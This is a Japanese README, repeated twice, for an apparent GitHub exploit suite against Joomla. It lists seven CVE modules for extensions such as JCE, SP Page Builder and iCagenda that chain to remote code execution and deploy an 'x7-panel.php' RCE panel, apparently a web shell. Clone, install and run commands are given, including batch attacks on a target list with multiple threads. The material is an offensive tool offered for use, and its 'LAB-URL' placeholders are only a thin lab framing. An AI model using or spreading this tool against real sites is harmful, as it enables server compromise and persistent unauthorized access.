
Joomlaの複数CVEに対応したRCEスイート。Balbooa Forms、Page Builder CK、SP Page Builder、JCE、iCagenda、Helix3、SP LMS向けの7つのエクスプロイトモジュールに加え、x7-panel.phpペイロードのデプロイ機能を備えています。
Joomla Multi-CVE Suite — 7つの脆弱性モジュール + x7-panel.php デプロイ
| CVE | 拡張機能 |
|---|---|
| CVE-2026-56291 | Balbooa Forms (com_baforms) |
| CVE-2026-56290 | Page Builder CK (com_pagebuilderck) |
| CVE-2026-48908 | SP Page Builder (com_sppagebuilder) |
| CVE-2026-48907 | JCE (com_jce) |
| CVE-2026-48939 | iCagenda (com_icagenda) |
| CVE-2026-49049 | Helix3 (plg_ajax_helix3) |
| CVE-2026-48909 | SP LMS (com_splms) — Joomla < 5.2.2 + --splms-path |
Suiteはデフォルトで自動チェーンを実行します。単一モジュールには --cve を使用してください。
git clone https://github.com/winrarzipsexploit/CVE-2026-87930.git
cd CVE-2026-87930
pip install -r requirements.txt
| ファイル | 役割 |
|---|---|
winrarzips_brand.py | CMDバナー (by winrarzips) |
joomla_exploits.py | 7-CVEエクスプロイトモジュール |
CVE-2026-Joomla-Suite.py | バッチ + 単一ターゲットCLI |
payloads/x7-panel.php | RCEパネル |
requirements.txt | 依存関係 |
❌ ターゲットリスト、スキャン結果、パネルURLはリポジトリに含まれていません。
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48908
python CVE-2026-Joomla-Suite.py -f targets.txt --yes --threads 8
Joomla < 5.2.2 のターゲットではサーバーパスが必要です:
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48909 --splms-path /var/www/html/tmp/x7-panel.php
Joomla Multi-CVE Suite — 7つの脆弱性モジュール + x7-panel.php デプロイ
| CVE | 拡張機能 |
|---|---|
| CVE-2026-56291 | Balbooa Forms (com_baforms) |
| CVE-2026-56290 | Page Builder CK (com_pagebuilderck) |
| CVE-2026-48908 | SP Page Builder (com_sppagebuilder) |
| CVE-2026-48907 | JCE (com_jce) |
| CVE-2026-48939 | iCagenda (com_icagenda) |
| CVE-2026-49049 | Helix3 (plg_ajax_helix3) |
| CVE-2026-48909 | SP LMS (com_splms) — Joomla < 5.2.2 + --splms-path |
Suiteはデフォルトで自動チェーンを実行します。単一モジュールには --cve を使用してください。
git clone https://github.com/winrarzipsexploit/CVE-2026-87930.git
cd CVE-2026-87930
pip install -r requirements.txt
| ファイル | 役割 |
|---|---|
winrarzips_brand.py | CMDバナー (by winrarzips) |
joomla_exploits.py | 7-CVEエクスプロイトモジュール |
CVE-2026-Joomla-Suite.py | バッチ + 単一ターゲットCLI |
payloads/x7-panel.php | RCEパネルペイロード |
requirements.txt | 依存関係 |
❌ ターゲットリスト、スキャン結果、ライブパネルURLは含まれていません。
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --fingerprint
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48908
python CVE-2026-Joomla-Suite.py -f targets.txt --yes --threads 8
Joomla < 5.2.2 のターゲットではサーバーパスを指定してください:
python CVE-2026-Joomla-Suite.py -u https://LAB-URL --yes --cve CVE-2026-48909 --splms-path /var/www/html/tmp/x7-panel.php